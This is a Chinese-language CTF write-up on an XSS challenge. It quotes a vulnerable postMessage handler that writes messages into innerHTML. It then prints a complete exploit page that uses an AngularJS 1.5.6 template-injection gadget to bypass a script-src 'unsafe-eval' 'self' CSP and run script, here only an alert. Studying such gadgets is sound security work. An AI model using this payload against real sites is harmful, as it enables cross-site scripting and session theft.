前言
周末闲着看了一道国际赛的xss,用了angular的csti gadget来bypass script-src 'unsafe-eval' 'self'; object-src 'none'
的csp,没有第一时间想到angular gadget,我前端还是太菜了。
WP
题目关了,大概就是首页iframe了一个/broadcast页面,broadcast引入了一个iframe.js如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| iframe.js window.addEventListener("message", receiveMessage, false);
function receiveMessage(event) { // verify sender is trusted if ( !/^http:\/\/yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg/.test( event.origin ) ) { return; }
// display message msg = event.data; if (msg == "off") { document.body.style.color = "#95A799"; } else if (msg == "on") { document.body.style.color = "black"; } else if ( !msg.includes(" ") && !msg.includes("'") && !msg.includes("&") && !msg.includes("|") && !msg.includes("%") && !msg.includes("@") && !msg.includes("!") && !msg.includes("#") && !msg.includes("^") ) { var broadcastList = document.getElementById("broadcastList"); var newBroadCast = document.createElement("div"); newBroadCast.innerHTML = '<li class="list-group-item d-flex justify-content-between lh-condensed"><h6 class="my-0">' + msg + "</h6></li>"; while (newBroadCast.firstChild) { broadcastList.appendChild(newBroadCast.firstChild); } } }
|
很明显,一个postMessage跨域,消息直接拼接进html,可以xss。本来以为直接就出了,结果发现/broadcast存在如下csp:
1
| <meta http-equiv="Content-Security-Policy" content="script-src 'unsafe-eval' 'self'; object-src 'none'">
|
有script-src是unsafe eval+self,只能引入同域的js,object-src为none也没办法object/embed。
这时候其实就可以想到,只能用当前引入js的gadget了。
看一下引入了哪些js:

angular版本1.5.6,可以csti,这里直接贴payload:
1 2 3 4 5 6 7 8 9 10 11 12
| <html> <iframe id="frame" src=http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:41011/broadcasts onload="exp()"></iframe> <script> function exp() { var IframeElement = document.getElementById('frame'); var message = '<iframe/srcdoc="<html><script/src=/javascripts/angular.min.js>\<\/script><body/ng-app>a</body/ng-app><div/ng-app/ng-csp>{{l=[].constructor.name.constructor.fromCharCode(120,61,49,125,32,125,32,125,59,97,108,101,114,116,40,49,49,49,41,47,47);a=toString().constructor.prototype;a.charAt=a.trim;$eval(l)}}</div></html>"></iframe>' IframeElement.contentWindow.postMessage(message, '*'); }; </script> <body> </body> </html>
|
Angular Gadget
结束后又研究了一下angular的gadget,发现还是蛮有意思的,他的xss gadget本质还是模板注入。
贴一下各种版本payload地址